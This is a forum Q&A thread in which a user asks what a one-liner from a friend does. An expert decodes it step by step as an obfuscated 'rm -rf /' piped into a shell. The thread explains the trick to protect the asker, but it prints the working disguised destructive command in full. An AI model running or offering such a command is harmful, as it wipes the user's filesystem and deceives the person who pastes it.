[2 days left] What’s wrong with your cloud strategy? Learn why multicloud solutions matter with Nimble Storage.Register Now

x
?
Solved

Translation of command line arcana

Posted on 2003-11-21
2
Medium Priority
?
274 Views
Last Modified: 2010-04-22
Hello,

A friend told me to run this on my linux box.

echo me.mo | tr oem fmr | sed 's#\.# -#;s/$/ \//' | sh

I think he's playing a prank on me, so I want to find out what it does.

The points are for (as best you can) a blow-by-blow translation of what's happening and what it means, as opposed to something general, like, "It's bad" or "It'll format your hard drive"

Thanks!
0
Comment
Question by:vlg
[X]
Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people just like you are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
2 Comments
 
LVL 45

Accepted Solution

by:
sunnycoder earned 1000 total points
ID: 9801744

>echo me.mo |
print string me.mo  ... but this string will not be printed due to | symbol ... it will be used as input to next command

>tr oem fmr |
replace all o with f e with m and m with r ... so you get rm.rf    .... | will pipe it into the next command

>sed 's#\.# -#;s/$/ \//' |
will convert it into rm-rf /

>sh
is nothing but starts a shell

... so you start a shell with rm -rf / ... to erase your / recursively without prompting (all directories)
0
 

Author Comment

by:vlg
ID: 9802511
Brilliant, genius, thank you, exactly what I wanted, sunnycoder -- you are the Man.

I must learn more about sed.  What a mess to look at.

Thanks again,

V
0

Featured Post

On Demand Webinar - Networking for the Cloud Era

This webinar discusses:
-Common barriers companies experience when moving to the cloud
-How SD-WAN changes the way we look at networks
-Best practices customers should employ moving forward with cloud migration
-What happens behind the scenes of SteelConnect’s one-click button

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Have you ever been frustrated by having to click seven times in order to retrieve a small bit of information from the web, always the same seven clicks, scrolling down and down until you reach your target? When you know the benefits of the command l…
The purpose of this article is to demonstrate how we can upgrade Python from version 2.7.6 to Python 2.7.10 on the Linux Mint operating system. I am using an Oracle Virtual Box where I have installed Linux Mint operating system version 17.2. Once yo…
Video by: ITPro.TV
In this episode Don builds upon the troubleshooting techniques by demonstrating how to properly monitor a vSphere deployment to detect problems before they occur. He begins the show using tools found within the vSphere suite as ends the show demonst…
In this video, Percona Solutions Engineer Barrett Chambers discusses some of the basic syntax differences between MySQL and MongoDB. To learn more check out our webinar on MongoDB administration for MySQL DBA: https://www.percona.com/resources/we…

656 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question